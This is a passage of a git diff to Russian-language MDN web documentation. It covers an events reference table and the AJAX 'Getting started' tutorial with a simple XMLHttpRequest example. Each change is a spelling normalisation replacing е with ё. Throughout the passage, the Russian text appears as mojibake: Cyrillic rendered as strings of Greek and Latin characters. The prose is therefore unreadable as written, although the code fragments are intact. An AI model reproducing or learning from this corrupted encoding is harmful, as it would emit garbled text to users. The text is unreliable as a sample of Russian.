- <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство пСрСмСщаСтся Π½Π° элСмСнт, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΈΠ»ΠΈ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов.</td>
+ <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство пСрСмСщаСтся Π½Π° элСмСнт, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΈΠ»ΠΈ Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов.</td>
</tr>
<tr>
<td>{{Event("mouseout")}}</td>
- <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство пСрСмСщаСтся ΠΎΡ‚ элСмСнта, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΈΠ»ΠΈ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов.</td>
+ <td>Π£ΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ устройство пСрСмСщаСтся ΠΎΡ‚ элСмСнта, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ, ΠΈΠ»ΠΈ ΠΎΡ‚ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈΠ· Π΅Π³ΠΎ Π΄ΠΎΡ‡Π΅Ρ€Π½ΠΈΡ… элСмСнтов.</td>
</tr>
<tr>
<td>{{Event("mouseup")}}</td>
@@ -649,7 +649,7 @@ translation_of: Web/Events
<code><a href="/en-US/docs/Web/API/EventSource/open_event">open</a></code><br>
<code><a href="/en-US/docs/Web/API/Element/show_event">show</a></code></p>
-<h2 id="МСнСС_распространСнныС_ΠΈ_нСстандартныС_события">МСнСС распространСнныС ΠΈ нСстандартныС события</h2>
+<h2 id="МСнСС_распространённыС_ΠΈ_нСстандартныС_события">МСнСС распространённыС ΠΈ нСстандартныС события</h2>
<h3 id="Abortable_Fetch_события">Abortable Fetch события</h3>
diff --git a/files/ru/web/guide/ajax/getting_started/index.html b/files/ru/web/guide/ajax/getting_started/index.html
index 56e8a80a0b..aee30a7337 100644
--- a/files/ru/web/guide/ajax/getting_started/index.html
+++ b/files/ru/web/guide/ajax/getting_started/index.html
@@ -23,7 +23,7 @@ original_slug: Web/Guide/AJAX/Π‘_Ρ‡Π΅Π³ΠΎ_Π½Π°Ρ‡Π°Ρ‚ΡŒ
<h3 id=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81" name=".D0.A8.D0.B0.D0.B3_1.C2.A0.E2.80.94_.D0.9A.D0.B0.D0.BA_.D0.BF.D0.BE.D1.81.D0.BB.D0.B0.D1.82.D1.8C_HTTP_.D0.B7.D0.B0.D0.BF.D1.80.D0.BE.D1.81">Π¨Π°Π³ 1Β β€” Как ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ HTTP запрос</h3>
-<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ HTTP запрос Π½Π° сСрвСр ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ JavaScript, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ экзСмпляр класса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. Π’Π°ΠΊΠΎΠΉ класс Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π±Ρ‹Π» Π²Π²Π΅Π΄Π΅Π½ Π² Internet Explorer ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ActiveX, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <code>XMLHTTP</code>. ПозТС Π² Mozilla, Safari ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±Ρ‹Π» Π²Π²Π΅Π΄Π΅Π½ класс <code>XMLHttpRequest</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ свойства ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ActiveX ΠΎΡ‚ Microsoft.</p>
+<p>Для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠ»Π°Ρ‚ΡŒ HTTP запрос Π½Π° сСрвСр ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ JavaScript, Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ экзСмпляр класса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ·Π²ΠΎΠ»ΠΈΡ‚ это ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. Π’Π°ΠΊΠΎΠΉ класс Π²ΠΏΠ΅Ρ€Π²Ρ‹Π΅ Π±Ρ‹Π» Π²Π²Π΅Π΄Ρ‘Π½ Π² Internet Explorer ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ActiveX, Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹ΠΉ <code>XMLHTTP</code>. ПозТС Π² Mozilla, Safari ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π±Ρ‹Π» Π²Π²Π΅Π΄Ρ‘Π½ класс <code>XMLHttpRequest</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π» ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ ΠΈ свойства ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ActiveX ΠΎΡ‚ Microsoft.</p>
<p>Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ кросс-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Ρ€Π΅Π±ΡƒΠ΅ΠΌΠΎΠ³ΠΎ класса, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅:</p>
@@ -35,7 +35,7 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ...
}
</pre>
-<p>(Π’ цСлях наглядности,Β ΠΊΠΎΠ΄ Π²Ρ‹ΡˆΠ΅ являСтся Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π½Ρ‹ΠΌ. Π‘ΠΎΠ»Π΅Π΅ ΠΆΠΈΠ·Π½Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ рассмотрСн Π² шагС 3 этой ΡΡ‚Π°Ρ‚ΡŒΠΈ)</p>
+<p>(Π’ цСлях наглядности,Β ΠΊΠΎΠ΄ Π²Ρ‹ΡˆΠ΅ являСтся Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡƒΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½Ρ‹ΠΌ. Π‘ΠΎΠ»Π΅Π΅ ΠΆΠΈΠ·Π½Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π±ΡƒΠ΄Π΅Ρ‚ рассмотрСн Π² шагС 3 этой ΡΡ‚Π°Ρ‚ΡŒΠΈ)</p>
<p>НСкоторыС вСрсии Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€ΠΎΠ² Mozilla Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ссли ΠΎΡ‚Π²Π΅Ρ‚ сСрвСра Π½Π΅ содСрТит Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° XML <code>mime-type</code>. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ,Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ²Ρ‹ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ² для пСрСопрСдСлСния Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ ΠΎΡ‚ сСрвСра, Ссли ΠΎΠ½ ΠΎΡ‚Π»ΠΈΡ‡Π΅Π½ ΠΎΡ‚ <code>text/xml</code>.</p>
@@ -43,11 +43,11 @@ if (window.XMLHttpRequest) { // Mozilla, Safari, ...
httpRequest.overrideMimeType('text/xml');
</pre>
-<p>Π”Π°Π»Π΅Π΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ послС получСния ΠΎΡ‚Π²Π΅Ρ‚Π° сСрвСра. На этом этапС Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, какая JavaScript функция Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚. Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Π΅ΠΌ присваивания свойству <code>onreadystatechange</code> ΠΈΠΌΠ΅Π½ΠΈ JavaScript Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΡΠΎΠ±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ:</p>
+<p>Π”Π°Π»Π΅Π΅ Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ Π΄Π΅Π»Π°Ρ‚ΡŒ послС получСния ΠΎΡ‚Π²Π΅Ρ‚Π° сСрвСра. На этом этапС Π²Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, какая JavaScript функция Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚. Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ присваивания свойству <code>onreadystatechange</code> ΠΈΠΌΠ΅Π½ΠΈ JavaScript Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΡΠΎΠ±ΠΈΡ€Π°Π΅Ρ‚Π΅ΡΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ:</p>
<p><code>httpRequest.onreadystatechange = nameOfTheFunction;</code></p>
-<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ послС названия Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅Ρ‚ скобок ΠΈ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ просто присваиваСтС ссылку Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π° Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Π΅. К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, вмСсто указания ΠΈΠΌΠ΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ JavaScript ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π° Π»Π΅Ρ‚Ρƒ (Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Β«Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ») ΠΈ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ дСйствия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ тотчас ΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚:</p>
+<p>Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ послС названия Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅Ρ‚ скобок ΠΈ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½ΠΎ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Π²Ρ‹ просто присваиваСтС ссылку Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π° Π½Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚Π΅ Π΅Ρ‘. К Ρ‚ΠΎΠΌΡƒ ΠΆΠ΅, вмСсто указания ΠΈΠΌΠ΅Π½ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ JavaScript ΠΎΠ±ΡŠΡΠ²Π»ΡΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π° Π»Π΅Ρ‚Ρƒ (Ρ‚Π°ΠΊ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌΡ‹Π΅ Β«Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ») ΠΈ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Ρ‚ΡŒ дСйствия, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ тотчас ΠΆΠ΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ ΠΎΡ‚Π²Π΅Ρ‚:</p>
<pre>httpRequest.onreadystatechange = function(){
// ΠΊΠ°ΠΊΠΎΠΉ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ ΠΊΠΎΠ΄
@@ -62,7 +62,7 @@ httpRequest.send(null);
<ul>
<li>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²Ρ‹Π·ΠΎΠ²Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>open()</code>Β β€” ΠΌΠ΅Ρ‚ΠΎΠ΄ HTTP запроса (GET, POST, HEAD ΠΈΠ»ΠΈ любой Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΌΠ΅Ρ‚ΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ). Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ Π² соотвСтствии с HTTP стандартами, ΠΈΠ½Π°Ρ‡Π΅ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ (Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Firefox) ΠΌΠΎΠ³ΡƒΡ‚ Π½Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ запрос. Π˜Π½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡ ΠΎ допустимых HTTP запросах доступна ΠΏΠΎ адрСсу <a class="external" href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">спСцификации W3C</a></li>
- <li>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β β€” URL Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΉ страницы. Из сообраТСний бСзопасности Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ страницы сторонних Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² нСдоступна. Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя Π½Π° всСх страницах, ΠΈΠ½Π°Ρ‡Π΅ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ 'доступ Π·Π°ΠΏΡ€Π΅Ρ‰Π΅Π½' ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>open()</code>. Π’ΠΈΠΏΠΈΡ‡Π½ΠΎΠΉ ошибкой ΠΏΡ€ΠΈ доступС ΠΊ сайту Ρ‡Π΅Ρ€Π΅Π· <code>site.ru</code> являСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° запроса Π½Π° <code>www.site.ru</code>.</li>
+ <li>Π’Ρ‚ΠΎΡ€ΠΎΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Β β€” URL Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅ΠΌΠΎΠΉ страницы. Из сообраТСний бСзопасности Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Ρ‚ΡŒ страницы сторонних Π΄ΠΎΠΌΠ΅Π½ΠΎΠ² нСдоступна. Π£Π±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎΠ΅ Π΄ΠΎΠΌΠ΅Π½Π½ΠΎΠ΅ имя Π½Π° всСх страницах, ΠΈΠ½Π°Ρ‡Π΅ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ ΠΎΡˆΠΈΠ±ΠΊΡƒ 'доступ Π·Π°ΠΏΡ€Π΅Ρ‰Ρ‘Π½' ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>open()</code>. Π’ΠΈΠΏΠΈΡ‡Π½ΠΎΠΉ ошибкой ΠΏΡ€ΠΈ доступС ΠΊ сайту Ρ‡Π΅Ρ€Π΅Π· <code>site.ru</code> являСтся ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠ° запроса Π½Π° <code>www.site.ru</code>.</li>
<li>Π’Ρ€Π΅Ρ‚ΠΈΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, являСтся Π»ΠΈ запрос асинхронным. Если ΠΎΠ½ <code>TRUE</code>, Ρ‚ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ JavaScript продолТится Π²ΠΎ врСмя оТидания ΠΎΡ‚Π²Π΅Ρ‚Π° сСрвСра. Π’ этом ΠΈ Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π°ΡΠΈΠ½Ρ…Ρ€ΠΎΠ½Π½ΠΎΡΡ‚ΡŒ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΈ.</li>
</ul>
@@ -88,7 +88,7 @@ httpRequest.send(null);
<pre>if (httpRequest.readyState == 4) {
// всС Π² порядкС, ΠΎΡ‚Π²Π΅Ρ‚ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½
} else {
- // всС Π΅Ρ‰Π΅ Π½Π΅ Π³ΠΎΡ‚ΠΎΠ²ΠΎ
+ // всС Π΅Ρ‰Ρ‘ Π½Π΅ Π³ΠΎΡ‚ΠΎΠ²ΠΎ
}
</pre>
@@ -124,7 +124,7 @@ httpRequest.send(null);
<h3 id=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80" name=".D0.A8.D0.B0.D0.B3_3.C2.A0.E2.80.94_.D0.9F.D1.80.D0.BE.D1.81.D1.82.D0.BE.D0.B9_.D0.BF.D1.80.D0.B8.D0.BC.D0.B5.D1.80">Π¨Π°Π³ 3Β β€” ΠŸΡ€ΠΎΡΡ‚ΠΎΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</h3>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ собСрСм всС вмСстС ΠΈ сдСлаСм простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ HTTP-запроса. Наш JavaScript запросит HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ <code>test.html</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит тСкст "I'm a test." ΠΈ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ содСрТимоС Ρ„Π°ΠΉΠ»Π° Π² Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ собСрём всС вмСстС ΠΈ сдСлаСм простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ HTTP-запроса. Наш JavaScript запросит HTML Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ <code>test.html</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит тСкст "I'm a test." ΠΈ Π²Ρ‹Π²Π΅Π΄Π΅Ρ‚ содСрТимоС Ρ„Π°ΠΉΠ»Π° Π² Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅.</p>
<pre>&lt;script type="text/javascript" language="javascript"&gt;
function makeRequest(url) {
@@ -181,7 +181,7 @@ httpRequest.send(null);
<ul>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π°ΠΆΠΈΠΌΠ°Π΅Ρ‚ Π½Π° ссылку "Π‘Π΄Π΅Π»Π°Ρ‚ΡŒ запрос" Π² Π±Ρ€ΠΎΡƒΠ·Π΅Ρ€Π΅;</li>
<li>Π­Ρ‚ΠΎ Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>makeRequest()</code> с ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ <code>test.html</code>Β β€” ΠΈΠΌΠ΅Π½Π΅ΠΌ HTML Ρ„Π°ΠΉΠ»Π°;</li>
- <li>ΠŸΠΎΡΡ‹Π»Π°Π΅Ρ‚ΡΡ запрос, послС Ρ‡Π΅Π³ΠΎ (<code>onreadystatechange</code>) Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ пСрСдаСтся <code>alertContents()</code>;</li>
+ <li>ΠŸΠΎΡΡ‹Π»Π°Π΅Ρ‚ΡΡ запрос, послС Ρ‡Π΅Π³ΠΎ (<code>onreadystatechange</code>) Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ пСрСдаётся <code>alertContents()</code>;</li>
<li><code>alertContents()</code> провСряСт ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½ Π»ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ ΠΈ всС Π»ΠΈ с Π½ΠΈΠΌ Π² порядкС, послС Ρ‡Π΅Π³ΠΎ содСрТимоС Ρ„Π°ΠΉΠ»Π° <code>test.html</code> выводится Π² Π΄ΠΈΠ°Π»ΠΎΠ³ΠΎΠ²ΠΎΠΌ ΠΎΠΊΠ½Π΅.</li>
</ul>
@@ -191,7 +191,7 @@ httpRequest.send(null);
